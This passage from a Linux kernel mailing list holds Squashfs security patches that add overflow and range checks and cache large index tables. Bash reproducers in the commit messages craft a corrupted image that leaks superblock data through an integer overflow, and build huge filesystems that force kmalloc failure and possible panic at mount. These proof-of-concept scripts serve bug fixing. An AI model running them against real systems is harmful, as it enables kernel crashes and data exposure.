echo "SQUASHFS error: Failed to read block 0xffffffffffff8000: -5"
echo "SQUASHFS error: Unable to read fragment cache entry [ffffffffffff8000]"
echo "SQUASHFS error: Unable to read fragment cache entry [ffffffffffff8000]"
echo "SQUASHFS error: Unable to read page, block ffffffffffff8000, size 1008000"
dd if=/mnt/zero
popd 2>&1> /dev/null
rm -rf $DIR
=========================================================================
Fixes: f400e12656ab5 ("Squashfs: cache operations")
Signed-off-by: Phillip Lougher <phillip@squashfs.org.uk>
---
fs/squashfs/cache.c | 7 +++++--
fs/squashfs/file.c | 8 ++++++--
fs/squashfs/fragment.c | 2 +-
fs/squashfs/squashfs_helpers.h | 24 ++++++++++++++++++++++--
4 files changed, 34 insertions(+), 7 deletions(-)
diff --git a/fs/squashfs/cache.c b/fs/squashfs/cache.c
index 7cb16414cd23..4b6ef8838bc6 100644
--- a/fs/squashfs/cache.c
+++ b/fs/squashfs/cache.c
@@ -490,9 +490,12 @@ struct squashfs_cache_entry *squashfs_get_fragment(struct super_block *sb,
u64 start_block, int length)
{
struct squashfs_sb_info *msblk = sb->s_fs_info;
+ int res = squashfs_check_range(start_block, length, msblk);
- return squashfs_cache_get(sb, msblk->fragment_cache, start_block,
- length);
+ if (res < 0)
+ return ERR_PTR(res);
+
+ return squashfs_cache_get(sb, msblk->fragment_cache, start_block, res);
}
diff --git a/fs/squashfs/file.c b/fs/squashfs/file.c
index d3be147e1ea3..47ef3d71187d 100644
--- a/fs/squashfs/file.c
+++ b/fs/squashfs/file.c
@@ -443,7 +443,7 @@ static int squashfs_readpage_fragment(struct folio *folio, int expected)
struct squashfs_cache_entry *buffer = squashfs_get_fragment(inode->i_sb,
squashfs_i(inode)->fragment_block,
squashfs_i(inode)->fragment_size);
- int res = buffer->error;
+ int res = IS_ERR(buffer) ? PTR_ERR(buffer) : buffer->error;
if (res)
ERROR("Unable to read page, block %llx, size %x\n",
@@ -453,7 +453,8 @@ static int squashfs_readpage_fragment(struct folio *folio, int expected)
squashfs_copy_cache(folio, buffer, expected,
squashfs_i(inode)->fragment_offset);
- squashfs_cache_put(buffer);
+ if (!IS_ERR(buffer))
+ squashfs_cache_put(buffer);
return res;
}
@@ -519,6 +520,9 @@ static int squashfs_readahead_fragment(struct inode *inode, struct page **page,
void *addr;
struct page *last_page;
+ if (IS_ERR(buffer))
+ return 1;
+
if (buffer->error)
goto out;
diff --git a/fs/squashfs/fragment.c b/fs/squashfs/fragment.c
index 1f372374c29d..33ef05ea4367 100644
--- a/fs/squashfs/fragment.c
+++ b/fs/squashfs/fragment.c
@@ -54,7 +54,7 @@ int squashfs_frag_lookup(struct super_block *sb, unsigned int fragment,
return size;
*fragment_block = le64_to_cpu(fragment_entry.start_block);
- return squashfs_frag_size(fragment_entry.size, msblk->block_size);
+ return le32_to_cpu(fragment_entry.size);
}
diff --git a/fs/squashfs/squashfs_helpers.h b/fs/squashfs/squashfs_helpers.h
index 9b3466d26cd1..146307064d9e 100644
--- a/fs/squashfs/squashfs_helpers.h
+++ b/fs/squashfs/squashfs_helpers.h
@@ -222,9 +222,9 @@ static inline int squashfs_data_size(__le32 raw, s32 block_size)
return squashfs_block_size(le32_to_cpu(raw), block_size);
}
-static inline int squashfs_frag_size(__le32 raw, s32 block_size)
+static inline int squashfs_frag_size(u32 disk_size, s32 block_size)
{
- int size = squashfs_block_size(le32_to_cpu(raw), block_size);
+ int size = squashfs_block_size(disk_size, block_size);
if (size < 0)
return size;
@@ -235,4 +235,24 @@ static inline int squashfs_frag_size(__le32 raw, s32 block_size)
return size;
}
+
+static inline int squashfs_check_range(u64 start_block, s32 disk_size, struct squashfs_sb_info *msblk)
+{
+ int size = squashfs_frag_size(disk_size, msblk->block_size);
+
+ if (size < 0)
+ return size;
+
+ if (start_block >= msblk->inode_table)
+ return -EIO;
+
+ /*
+ * the above check ensured start_block is not 2^63 or larger, and so
+ * this addition will not overflow
+ */
+ if (start_block + squashfs_compressed_size_block(size) > msblk->inode_table)
+ return -EIO;
+
+ return size;
+}
#endif
--
2.47.3
^ permalink raw reply [flat|nested] 19+ messages in thread* [PATCH 15/18] Squashfs: sanity check block list sizes and range
2026-11-07 5:28 [PATCH 00/18] Squashfs: fix a lot of AI issues and AI style issues Phillip Lougher
` (13 preceding siblings ...)
2026-11-07 5:28 ` [PATCH 14/18] Squashfs: sanity check fragment block location and range Phillip Lougher
@ 2026-11-07 5:28 ` Phillip Lougher
2026-11-07 5:28 ` [PATCH 16/18] Squashfs: don't store large export table indexes in memory Phillip Lougher
` (2 subsequent siblings)
17 siblings, 0 replies; 19+ messages in thread
From: Phillip Lougher @ 2026-11-07 5:28 UTC (permalink / raw)
To: akpm, linux-kernel; +Cc: Phillip Lougher
A Squashfs file has a list of block sizes, storing the compressed size
of each data block. This block list is scanned to discover the size and
location of block x, where the sizes of previous data blocks are added
to the start of the data blocks to produce the location.
But, when scanning this block list and adding the block sizes, the code
does not check for arithmetic overflow. This means the data block start
location can be crafted to be close to 2^64, and so the addition of the
block sizes can cause arithmetic overflow and thereby evade any sanity
checks.
Additionally, the range (start and end) of the data block that is to be
read from the filesystem is not checked for correctness before
squasfs_read_data().
This commit adds checks for arithmetic overflow and sanity checks the
range of the data block before attempting to read from disk.
Reproducer
==========
The reproducer generates a Squashfs filesystem with a file with two
data blocks, and then corrupts the location of the start of the data
blocks to 2^64 - 128 KiB. This added to the size of data block 0 (128
KiB) will overflow, producing a location of 0. If the exploit succeeds,
when the second block is read, Squashfs will not produce an I/O error
and instead print the Squashfs filesystem superblock starting with hsqs.
====================================================================
#!/bin/bash
ARGS="-quiet -no-progress -noI -noD -no-sparse -no-fragments -comp gzip"
finish() {
popd 2>&1 > /dev/null
rm -rf $DIR
exit 1
}
DIR=$(mktemp -d)
pushd $DIR 2>&1 > /dev/null
echo "Create Squashfs filesystem with one file, with 2 data blocks"
echo "Create a hard link to it, to force Mksquashfs to use an extended inode"
echo "(more than one nlink). This means the start_block field will"
echo "be 64-bits"
echo "/ d 0777 0 0" > pseudo
echo "zero f 0777 0 0 dd if=/dev/zero bs=1024 count=256 2>/dev/null" >> pseudo
echo "hardlink L zero" >> pseudo
if ! mksquashfs - img.sqsh -pf pseudo $ARGS; then
echo Failed to create Squashfs filesystem
finish
fi
echo "Corrupt the start_block field of file zero's inode, which"
echo "points to the start of the file's data blocks."
echo "Alter it to the value 0xFFFFFFFFFFFE0000 (2^64 - 128 KiB)."
echo "That value added to the size of the first data block (128 KiB)"
echo "will overflow"
echo "The inode start_block field is stored at byte offset 262258"
/usr/bin/echo -en "\x00\x00\xfe\xff\xff\xff\xff\xff" > file
dd if=file of=img.sqsh seek=262258 bs=1 count=8 conv=notrunc status=none
echo Mount the filesystem to /mnt
if ! mount -t squashfs img.sqsh /mnt; then
echo Mount of Squashfs filesystem failed
finish
fi
echo Read the file zero.
echo If the exploit succeeds, dd will not fail, and it will display the Squashfs
echo superblock, beginning with hsqs
echo
dd if=/mnt/zero bs=1024 skip=128
popd 2>&1> /dev/null
rm -rf $DIR
====================================================================
Fixes: 1701aecb6849c ("Squashfs: regular file operations")
Signed-off-by: Phillip Lougher <phillip@squashfs.org.uk>
---
fs/squashfs/cache.c | 2 +-
fs/squashfs/file.c | 27 +++++++++++++++++++++------
fs/squashfs/squashfs_helpers.h | 20 +++++++++++++++++---
3 files changed, 39 insertions(+), 10 deletions(-)
diff --git a/fs/squashfs/cache.c b/fs/squashfs/cache.c
index 4b6ef8838bc6..a81a1d396074 100644
--- a/fs/squashfs/cache.c
+++ b/fs/squashfs/cache.c
@@ -490,7 +490,7 @@ struct squashfs_cache_entry *squashfs_get_fragment(struct super_block *sb,
u64 start_block, int length)
{
struct squashfs_sb_info *msblk = sb->s_fs_info;
- int res = squashfs_check_range(start_block, length, msblk);
+ int res = squashfs_check_range(start_block, squashfs_frag_size(length, msblk->block_size), msblk);
if (res < 0)
return ERR_PTR(res);
diff --git a/fs/squashfs/file.c b/fs/squashfs/file.c
index 47ef3d71187d..1df4c7ec00b7 100644
--- a/fs/squashfs/file.c
+++ b/fs/squashfs/file.c
@@ -281,6 +281,9 @@ static s64 fill_meta_index(struct inode *inode, s64 index,
long long res = read_indexes(inode->i_sb, blocks,
&cur_index_block, &cur_offset);
+ if (res >= 0)
+ res = squashfs_add_indexes(cur_data_block, res, msblk);
+
if (res < 0) {
if (meta->entries == 0)
/*
@@ -292,7 +295,7 @@ static s64 fill_meta_index(struct inode *inode, s64 index,
goto failed;
}
- cur_data_block += res;
+ cur_data_block = res;
meta_entry = &meta->meta_entry[i - meta->offset];
meta_entry->index_block = cur_index_block -
msblk->inode_table;
@@ -353,8 +356,13 @@ static int read_blocklist_ptrs(struct inode *inode, s64 index, u64 *start,
blks = read_indexes(inode->i_sb, index - res, start, offset);
if (blks < 0)
return (int) blks;
- if (block)
- *block += blks;
+ if (block) {
+ res = squashfs_add_indexes(*block, blks, msblk);
+ if (res < 0)
+ return (int) res;
+
+ *block = res;
+ }
}
/*
@@ -492,8 +500,11 @@ static int squashfs_read_folio(struct file *file, struct folio *folio)
if (res == 0)
res = squashfs_readpage_sparse(folio, expected);
- else
- res = squashfs_readpage_block(folio, block, res, expected);
+ else {
+ res = squashfs_check_range(block, res, msblk);
+ if (res >= 0)
+ res = squashfs_readpage_block(folio, block, res, expected);
+ }
} else
res = squashfs_readpage_fragment(folio, expected);
@@ -629,7 +640,11 @@ static void squashfs_readahead(struct readahead_control *ractl)
}
bsize = read_blocklist(inode, start >> msblk->block_log, &block);
- if (bsize == 0)
+ if (bsize <= 0)
+ goto skip_pages;
+
+ bsize = squashfs_check_range(block, bsize, msblk);
+ if (bsize < 0)
goto skip_pages;
actor = squashfs_page_actor_init_special(msblk, pages, nr_pages,
diff --git a/fs/squashfs/squashfs_helpers.h b/fs/squashfs/squashfs_helpers.h
index 146307064d9e..5250cf7348a3 100644
--- a/fs/squashfs/squashfs_helpers.h
+++ b/fs/squashfs/squashfs_helpers.h
@@ -236,10 +236,8 @@ static inline int squashfs_frag_size(u32 disk_size, s32 block_size)
return size;
}
-static inline int squashfs_check_range(u64 start_block, s32 disk_size, struct squashfs_sb_info *msblk)
+static inline int squashfs_check_range(u64 start_block, s32 size, struct squashfs_sb_info *msblk)
{
- int size = squashfs_frag_size(disk_size, msblk->block_size);
-
if (size < 0)
return size;
@@ -255,4 +253,20 @@ static inline int squashfs_check_range(u64 start_block, s32 disk_size, struct sq
return size;
}
+
+static inline s64 squashfs_add_indexes(u64 block, s64 blks, struct squashfs_sb_info *msblk)
+{
+
+ if (block > S64_MAX)
+ return -EIO;
+
+ /*
+ * the above check ensured block is not 2^63 or larger, and so
+ * this addition will not overflow
+ */
+ if (block + blks >= msblk->inode_table)
+ return -EIO;
+
+ return block + blks;
+}
#endif
--
2.47.3
^ permalink raw reply [flat|nested] 19+ messages in thread* [PATCH 16/18] Squashfs: don't store large export table indexes in memory
2026-11-07 5:28 [PATCH 00/18] Squashfs: fix a lot of AI issues and AI style issues Phillip Lougher
` (14 preceding siblings ...)
2026-11-07 5:28 ` [PATCH 15/18] Squashfs: sanity check block list sizes " Phillip Lougher
@ 2026-11-07 5:28 ` Phillip Lougher
2026-11-07 5:28 ` [PATCH 17/18] Squashfs: don't store large fragment " Phillip Lougher
2026-11-07 5:28 ` [PATCH 18/18] Squashfs: don't store large xattr id " Phillip Lougher
17 siblings, 0 replies; 19+ messages in thread
From: Phillip Lougher @ 2026-11-07 5:28 UTC (permalink / raw)
To: akpm, linux-kernel; +Cc: Phillip Lougher
When mounting a Squashfs filesystem, the code reads the entire
export table indexes into memory. Their size is determined by the
number of inodes in the filesystem. For the maximum inode
count of 2^32, this will allocate and read 32 MiB.
This is an excessive and unnecessary amount of memory because the
indexes do not need to be read into memory in their entirety. In
addition kmalloc() is used to allocate memory, and this can fail when
large amounts of memory are requested. Kmalloc() on modern kernels is
usually limited to 4096 KiB. If panic-on-warn is set, then failure to
allocate memory will result in a kernel panic.
This commit uses a 4 page cache if the size of the export table indexes
are 4 pages in size or larger. A simple and fast lookup array is
retained where the total index size is less than 4 pages in size, which
is the vast majority of Squashfs filesystems.
Reproducer
==========
The following reproducer will create a Squashfs filesystem with
540,540,568 inodes (540 million files). This will cause the export
table indexes to exceed 4096 KiB, and the kmalloc() should fail when the
filesystem is mounted. Due to the large amount of inodes the Squashfs
filesystem reproducer needs to be run on a 64-bit machine with around
60 GiB of memory (or swap).
The latest development Mksquashfs from the GitHub Squashfs-tools
repository also needs to be used.
=====================================================================
#!/bin/bash
finish() {
popd 2>&1 > /dev/null
rm -rf $DIR
exit 1
}
IMG=$PWD/reproducer.sqsh
DIR=$(mktemp -d)
if [ -e $IMG ]; then
rm $IMG
fi
pushd $DIR 2>&1 > /dev/null
# create 20 million pseudo file links to empty file
touch a
a=0
while [ $a -le 19 ]; do
b=0
while [ $b -le 999 ]; do
c=0
while [ $c -le 999 ]; do
echo "x/$a/$b/$c l a" >> file
(( c ++ ))
done
(( b ++ ))
done
(( a ++ ))
done
for i in $(seq 1 27); do
sed "s/x/$i/g" file > pseudo
echo
echo Iteration $i - appending 20 million files to Squashfs filesystem
echo
if ! mksquashfs - $IMG -pf pseudo -no-hardlinks -pd "d 0777 0 0" -no-recovery -no-progress -comp lz4; then
echo Appending to Squashfs filesystem failed
finish
fi
done
popd 2>&1 > /dev/null
rm -rf $DIR
echo Generated Squashfs filesystem $IMG
=====================================================================
Fixes: 122601408d20c ("Squashfs: export operations")
Signed-off-by: Phillip Lougher <phillip@squashfs.org.uk>
---
fs/squashfs/export.c | 142 +++++++++++++++++++++++----------
fs/squashfs/squashfs.h | 3 +-
fs/squashfs/squashfs_fs_sb.h | 8 +-
fs/squashfs/squashfs_helpers.h | 28 ++++++-
fs/squashfs/super.c | 36 ++++++---
5 files changed, 158 insertions(+), 59 deletions(-)
diff --git a/fs/squashfs/export.c b/fs/squashfs/export.c
index ad7cc882d789..e672e359ed59 100644
--- a/fs/squashfs/export.c
+++ b/fs/squashfs/export.c
@@ -34,24 +34,64 @@
#include "squashfs_helpers.h"
#include "squashfs.h"
+s64 squashfs_inode_lookup_start(struct super_block *sb, u32 ino_num)
+{
+ struct squashfs_sb_info *msblk = sb->s_fs_info;
+ s64 start;
+ int err;
+
+ if (msblk->lookup_table_is_cache) {
+ s32 length = squashfs_lookup_blocks_bytes(msblk->inodes);
+ s32 base = squashfs_lookup_blocks_base(ino_num - 1);
+ s16 offset = squashfs_lookup_blocks_offset(ino_num - 1);
+ s32 avail = min_t(int, length - base, PAGE_SIZE);
+ struct squashfs_cache_entry *entry;
+
+ start = squashfs_lookup_blocks_start(ino_num - 1, msblk);
+ if (start < 0)
+ return start;
+
+ entry = squashfs_cache_get(sb, msblk->inode_lookup_cache, start,
+ avail | SQUASHFS_COMPRESSED_BIT_BLOCK);
+ if (entry->error < 0) {
+ err = entry->error;
+ squashfs_cache_put(entry);
+ return err;
+ }
+
+ start = le64_to_cpu(((__le64 *)entry->data[0])[offset >> 3]);
+ squashfs_cache_put(entry);
+ } else {
+ s32 blk = squashfs_lookup_block(ino_num - 1);
+
+ start = le64_to_cpu(msblk->inode_lookup_array[blk]);
+ }
+
+ if (start < msblk->lookup_table_start || start >= msblk->lookup_table)
+ return -EIO;
+
+ return start;
+}
+
/*
* Look-up inode number (ino) in table, returning the inode location.
*/
-static long long squashfs_inode_lookup(struct super_block *sb, int ino_num)
+static long long squashfs_inode_lookup(struct super_block *sb, u32 ino_num)
{
struct squashfs_sb_info *msblk = sb->s_fs_info;
- int blk = squashfs_lookup_block(ino_num - 1);
- int offset = squashfs_lookup_block_offset(ino_num - 1);
- u64 start;
+ s32 offset = squashfs_lookup_block_offset(ino_num - 1);
+ s64 start;
__le64 ino;
int err;
- TRACE("Entered squashfs_inode_lookup, inode_number = %d\n", ino_num);
+ TRACE("Entered squashfs_inode_lookup, inode_number = %u\n", ino_num);
if (ino_num == 0 || (ino_num - 1) >= msblk->inodes)
return -EINVAL;
- start = le64_to_cpu(msblk->inode_lookup_table[blk]);
+ start = squashfs_inode_lookup_start(sb, ino_num);
+ if (start < 0)
+ return start;
err = squashfs_read_metadata(sb, &ino, &start, &offset, sizeof(ino));
if (err < 0)
@@ -113,14 +153,11 @@ static struct dentry *squashfs_get_parent(struct dentry *child)
/*
* Read uncompressed inode lookup table indexes off disk into memory
*/
-__le64 *squashfs_read_inode_lookup_table(struct super_block *sb,
+int squashfs_read_inode_lookup_table(struct super_block *sb,
u64 lookup_table_start, u64 next_table, unsigned int inodes)
{
- unsigned int length = squashfs_lookup_block_bytes(inodes);
- unsigned int indexes = squashfs_lookup_blocks(inodes);
- int n;
- __le64 *table;
- u64 start, end;
+ struct squashfs_sb_info *msblk = sb->s_fs_info;
+ s32 length = squashfs_lookup_blocks_bytes(inodes);
TRACE("In read_inode_lookup_table, length %d\n", length);
@@ -128,51 +165,68 @@ __le64 *squashfs_read_inode_lookup_table(struct super_block *sb,
/* there should always be at least one inode */
if (inodes == 0)
- return ERR_PTR(-EINVAL);
+ return -EIO;
/*
* The computed size of the lookup table (length bytes) should exactly
* match the table start and end points
*/
if (length != (next_table - lookup_table_start))
- return ERR_PTR(-EINVAL);
-
- table = squashfs_read_table(sb, lookup_table_start, length);
- if (IS_ERR(table))
- return table;
+ return -EIO;
+
+ if (length <= (PAGE_SIZE * 4)) {
+ /* Read lookup table index into memory */
+ s32 indexes = squashfs_lookup_blocks(inodes);
+ __le64 *array;
+ u64 start, end;
+ int n;
+
+ array = squashfs_read_table(sb, lookup_table_start, length);
+ if (IS_ERR(array))
+ return PTR_ERR(array);
+
+ /*
+ * array0], array[1], ... array[indexes - 1] store the locations
+ * of the compressed inode lookup blocks. Each entry should be
+ * less than the next (i.e. array[0] < array[1]), and the difference
+ * between them should be SQUASHFS_METADATA_SIZE or less.
+ * array[indexes - 1] should be less than lookup_array_start, and
+ * again the difference should be SQUASHFS_METADATA_SIZE or less
+ */
+ for (n = 0; n < (indexes - 1); n++) {
+ start = le64_to_cpu(array[n]);
+ end = le64_to_cpu(array[n + 1]);
+
+ if (start >= end || (end - start) > (SQUASHFS_METADATA_SIZE
+ + SQUASHFS_BLOCK_OFFSET)) {
+ kfree(array);
+ return -EIO;
+ }
+ }
- /*
- * table0], table[1], ... table[indexes - 1] store the locations
- * of the compressed inode lookup blocks. Each entry should be
- * less than the next (i.e. table[0] < table[1]), and the difference
- * between them should be SQUASHFS_METADATA_SIZE or less.
- * table[indexes - 1] should be less than lookup_table_start, and
- * again the difference should be SQUASHFS_METADATA_SIZE or less
- */
- for (n = 0; n < (indexes - 1); n++) {
- start = le64_to_cpu(table[n]);
- end = le64_to_cpu(table[n + 1]);
-
- if (start >= end
- || (end - start) >
- (SQUASHFS_METADATA_SIZE + SQUASHFS_BLOCK_OFFSET)) {
- kfree(table);
- return ERR_PTR(-EINVAL);
+ start = le64_to_cpu(array[indexes - 1]);
+ if (start >= lookup_table_start || (lookup_table_start - start) >
+ (SQUASHFS_METADATA_SIZE + SQUASHFS_BLOCK_OFFSET)) {
+ kfree(array);
+ return -EIO;
}
- }
- start = le64_to_cpu(table[indexes - 1]);
- if (start >= lookup_table_start ||
- (lookup_table_start - start) >
- (SQUASHFS_METADATA_SIZE + SQUASHFS_BLOCK_OFFSET)) {
- kfree(table);
- return ERR_PTR(-EINVAL);
+ msblk->inode_lookup_array = array;
+ msblk->lookup_table_is_cache = false;
+ } else {
+ /* Use a cache to store the last 4 pages of indexes read */
+ struct squashfs_cache *cache = squashfs_cache_init("inode index", 4, PAGE_SIZE);
+
+ if (IS_ERR(cache))
+ return PTR_ERR(cache);
+
+ msblk->inode_lookup_cache = cache;
+ msblk->lookup_table_is_cache = true;
}
- return table;
+ return 0;
}
-
const struct export_operations squashfs_export_ops = {
.encode_fh = generic_encode_ino32_fh,
.fh_to_dentry = squashfs_fh_to_dentry,
diff --git a/fs/squashfs/squashfs.h b/fs/squashfs/squashfs.h
index 4851bd964502..d40d40bd61ae 100644
--- a/fs/squashfs/squashfs.h
+++ b/fs/squashfs/squashfs.h
@@ -64,8 +64,9 @@ extern const struct squashfs_decompressor_thread_ops squashfs_decompressor_percp
#endif
/* export.c */
-extern __le64 *squashfs_read_inode_lookup_table(struct super_block *, u64, u64,
+extern int squashfs_read_inode_lookup_table(struct super_block *, u64, u64,
unsigned int);
+extern s64 squashfs_inode_lookup_start(struct super_block *sb, u32 ino_num);
/* fragment.c */
extern int squashfs_frag_lookup(struct super_block *, unsigned int, u64 *);
diff --git a/fs/squashfs/squashfs_fs_sb.h b/fs/squashfs/squashfs_fs_sb.h
index 949dab87a241..d6b5908fff51 100644
--- a/fs/squashfs/squashfs_fs_sb.h
+++ b/fs/squashfs/squashfs_fs_sb.h
@@ -64,11 +64,16 @@ struct squashfs_sb_info {
struct mutex meta_index_mutex;
struct meta_index *meta_index;
void *stream;
- __le64 *inode_lookup_table;
+ union {
+ __le64 *inode_lookup_array;
+ struct squashfs_cache *inode_lookup_cache;
+ };
u64 inode_table;
u64 directory_table;
u64 directory_table_end;
u64 xattr_table;
+ u64 lookup_table;
+ u64 lookup_table_start;
unsigned int block_size;
unsigned short block_log;
long long bytes_used;
@@ -79,5 +84,6 @@ struct squashfs_sb_info {
bool panic_on_errors;
const struct squashfs_decompressor_thread_ops *thread_ops;
int max_thread_num;
+ bool lookup_table_is_cache;
};
#endif
diff --git a/fs/squashfs/squashfs_helpers.h b/fs/squashfs/squashfs_helpers.h
index 5250cf7348a3..be8481e808af 100644
--- a/fs/squashfs/squashfs_helpers.h
+++ b/fs/squashfs/squashfs_helpers.h
@@ -135,11 +135,37 @@ static inline s32 squashfs_lookup_blocks(u32 inodes)
SQUASHFS_METADATA_SIZE;
}
-static inline s32 squashfs_lookup_block_bytes(u32 inodes)
+static inline s32 squashfs_lookup_blocks_bytes(u32 inodes)
{
return squashfs_lookup_blocks(inodes) * sizeof(long long);
}
+static inline s32 squashfs_lookup_blocks_base(u32 inodes)
+{
+ return (squashfs_lookup_block(inodes) * sizeof(long long)) & ~(PAGE_SIZE - 1);
+}
+
+static inline s64 squashfs_lookup_blocks_start(u32 inodes, struct squashfs_sb_info *msblk)
+{
+ s32 base = squashfs_lookup_blocks_base(inodes);
+ s64 start;
+
+ if (S64_MAX - msblk->lookup_table < base)
+ return -EINVAL;
+
+ start = msblk->lookup_table + base;
+
+ if (start > msblk->bytes_used)
+ return -EINVAL;
+
+ return start;
+}
+
+static inline s16 squashfs_lookup_blocks_offset(u32 inodes)
+{
+ return (squashfs_lookup_block(inodes) * sizeof(long long)) & (PAGE_SIZE - 1);
+}
+
/* uid lookup table defines */
static inline s32 squashfs_id_bytes(u16 ids)
{
diff --git a/fs/squashfs/super.c b/fs/squashfs/super.c
index 8c42f1eb375b..8504939f9a8e 100644
--- a/fs/squashfs/super.c
+++ b/fs/squashfs/super.c
@@ -177,6 +177,13 @@ static const struct squashfs_decompressor *supported_squashfs_filesystem(
return decompressor;
}
+static void squashfs_free_inode_table(struct squashfs_sb_info *msblk)
+{
+ if (msblk->lookup_table_is_cache)
+ squashfs_cache_delete(msblk->inode_lookup_cache);
+ else
+ kfree(msblk->inode_lookup_array);
+}
static int squashfs_fill_super(struct super_block *sb, struct fs_context *fc)
{
@@ -187,8 +194,9 @@ static int squashfs_fill_super(struct super_block *sb, struct fs_context *fc)
long long root_inode;
unsigned short flags;
unsigned int fragments;
- u64 lookup_table_start, xattr_id_table_start, next_table;
- int err, devblksize = sb_min_blocksize(sb, SQUASHFS_DEVBLK_SIZE);
+ u64 xattr_id_table_start, next_table;
+ s64 err;
+ int devblksize = sb_min_blocksize(sb, SQUASHFS_DEVBLK_SIZE);
TRACE("Entered squashfs_fill_superblock\n");
@@ -391,20 +399,24 @@ static int squashfs_fill_super(struct super_block *sb, struct fs_context *fc)
next_table = le64_to_cpu(msblk->id_table[0]);
/* Handle inode lookup table */
- lookup_table_start = le64_to_cpu(sblk->lookup_table_start);
- if (lookup_table_start == SQUASHFS_INVALID_BLK)
+ msblk->lookup_table = le64_to_cpu(sblk->lookup_table_start);
+ if (msblk->lookup_table == SQUASHFS_INVALID_BLK)
goto handle_fragments;
/* Allocate and read inode lookup table */
- msblk->inode_lookup_table = squashfs_read_inode_lookup_table(sb,
- lookup_table_start, next_table, msblk->inodes);
- if (IS_ERR(msblk->inode_lookup_table)) {
+ err = squashfs_read_inode_lookup_table(sb, msblk->lookup_table,
+ next_table, msblk->inodes);
+ if (err < 0) {
+ errorf(fc, "unable to read inode lookup table");
+ goto failed_mount;
+ }
+
+ err = squashfs_inode_lookup_start(sb, 1);
+ if (err < 0) {
errorf(fc, "unable to read inode lookup table");
- err = PTR_ERR(msblk->inode_lookup_table);
- msblk->inode_lookup_table = NULL;
goto failed_mount;
}
- next_table = le64_to_cpu(msblk->inode_lookup_table[0]);
+ next_table = msblk->lookup_table_start = err;
sb->s_export_op = &squashfs_export_ops;
@@ -480,7 +492,7 @@ static int squashfs_fill_super(struct super_block *sb, struct fs_context *fc)
if (msblk->cache_mapping)
iput(msblk->cache_mapping->host);
msblk->thread_ops->destroy(msblk);
- kfree(msblk->inode_lookup_table);
+ squashfs_free_inode_table(msblk);
kfree(msblk->fragment_index);
kfree(msblk->id_table);
kfree(msblk->xattr_id_table);
@@ -603,7 +615,7 @@ static void squashfs_put_super(struct super_block *sb)
kfree(sbi->id_table);
kfree(sbi->fragment_index);
kfree(sbi->meta_index);
- kfree(sbi->inode_lookup_table);
+ squashfs_free_inode_table(sbi);
kfree(sbi->xattr_id_table);
kfree(sb->s_fs_info);
sb->s_fs_info = NULL;
--
2.47.3
^ permalink raw reply [flat|nested] 19+ messages in thread* [PATCH 17/18] Squashfs: don't store large fragment table indexes in memory
2026-11-07 5:28 [PATCH 00/18] Squashfs: fix a lot of AI issues and AI style issues Phillip Lougher
` (15 preceding siblings ...)
2026-11-07 5:28 ` [PATCH 16/18] Squashfs: don't store large export table indexes in memory Phillip Lougher
@ 2026-11-07 5:28 ` Phillip Lougher
2026-11-07 5:28 ` [PATCH 18/18] Squashfs: don't store large xattr id " Phillip Lougher
17 siblings, 0 replies; 19+ messages in thread
From: Phillip Lougher @ 2026-11-07 5:28 UTC (permalink / raw)
To: akpm, linux-kernel; +Cc: Phillip Lougher
When mounting a Squashfs filesystem, the code reads the entire fragment
table indexes into memory. Their size is determined by the number of
fragments in the filesystem, where the maximum number of fragments is
2^32, and this will allocate and read 64 MiB.
This is an execessive and unnecessary amount of memory because the
indexes do not need to be read into memory in their entirety. In
addition kmalloc() is used to allocate memory, and this can fail when
large amounts of memory are requested. Kmalloc() on modern kernels is
usually limited to 4096 KiB. If panic-on-warn is set, then failure to
allocate memory willl result in a kernel panic.
This commit uses a 4 page cache if the size of the fragment table
indexes are 4 pages or larger. A simple and fast lookup array is
retained where the total index size is less than 4 pages in size, which
is the vast majority of Squashfs filesystems.
Reproducer
==========
The following reproducer will create a Squashfs filesystem with
280 million fragments, which will cause the fragment table indexes to
exceed 4096 KiB, and the kmalloc() should fail when the filesystem is
mounted.
=====================================================================
#!/bin/bash
finish() {
popd 2>&1 > /dev/null
rm -rf $DIR
exit 1
}
IMG=$PWD/reproducer.sqsh
DIR=$(mktemp -d)
if [ -e $IMG ]; then
rm $IMG
fi
pushd $DIR 2>&1 > /dev/null
# create 20 million pseudo file links to file 2049 bytes in size
truncate -s 2049 a
a=0
while [ $a -le 19 ]; do
b=0
while [ $b -le 999 ]; do
c=0
while [ $c -le 999 ]; do
echo "x/$a/$b/$c l a" >> file
(( c ++ ))
done
(( b ++ ))
done
(( a ++ ))
done
for i in $(seq 1 14); do
sed "s/x/$i/g" file > pseudo
echo
echo Iteration $i - appending 20 million files to Squashfs filesystem
echo
if ! mksquashfs - $IMG -pf pseudo -mem 100m -no-hardlinks -no-sparse -no-duplicates -no-exports -pd "d 0777 0 0" -no-recovery -b 4096; then
echo Appending to Squashfs filesystem failed
finish
fi
done
popd 2>&1 > /dev/null
rm -rf $DIR
echo Generated Squashfs filesystem $IMG
=====================================================================
Fixes: 122edd1514aaa ("Squashfs: fragment block operations")
Signed-off-by: Phillip Lougher <phillip@squashfs.org.uk>
---
fs/squashfs/fragment.c | 98 +++++++++++++++++++++++++++-------
fs/squashfs/squashfs.h | 3 +-
fs/squashfs/squashfs_fs_sb.h | 8 ++-
fs/squashfs/squashfs_helpers.h | 28 +++++++++-
fs/squashfs/super.c | 32 +++++++----
5 files changed, 136 insertions(+), 33 deletions(-)
diff --git a/fs/squashfs/fragment.c b/fs/squashfs/fragment.c
index 33ef05ea4367..246083e81db9 100644
--- a/fs/squashfs/fragment.c
+++ b/fs/squashfs/fragment.c
@@ -29,26 +29,66 @@
#include "squashfs_helpers.h"
#include "squashfs.h"
+s64 squashfs_frag_lookup_start(struct super_block *sb, u32 fragment)
+{
+ struct squashfs_sb_info *msblk = sb->s_fs_info;
+ s64 start;
+
+ if (msblk->fragment_index_is_cache) {
+ s32 length = squashfs_fragment_indexes_bytes(msblk->fragments);
+ s32 base = squashfs_fragment_indexes_base(fragment);
+ s16 offset = squashfs_fragment_indexes_offset(fragment);
+ s32 avail = min_t(int, length - base, PAGE_SIZE);
+ struct squashfs_cache_entry *entry;
+
+ start = squashfs_fragment_indexes_start(fragment, msblk);
+ if (start < 0)
+ return start;
+
+ entry = squashfs_cache_get(sb, msblk->fragment_index_cache,
+ start, avail | SQUASHFS_COMPRESSED_BIT_BLOCK);
+ if (entry->error < 0) {
+ int err = entry->error;
+
+ squashfs_cache_put(entry);
+ return err;
+ }
+
+ start = le64_to_cpu(((__le64 *)entry->data[0])[offset >> 3]);
+ squashfs_cache_put(entry);
+ } else {
+ s32 block = squashfs_fragment_index(fragment);
+
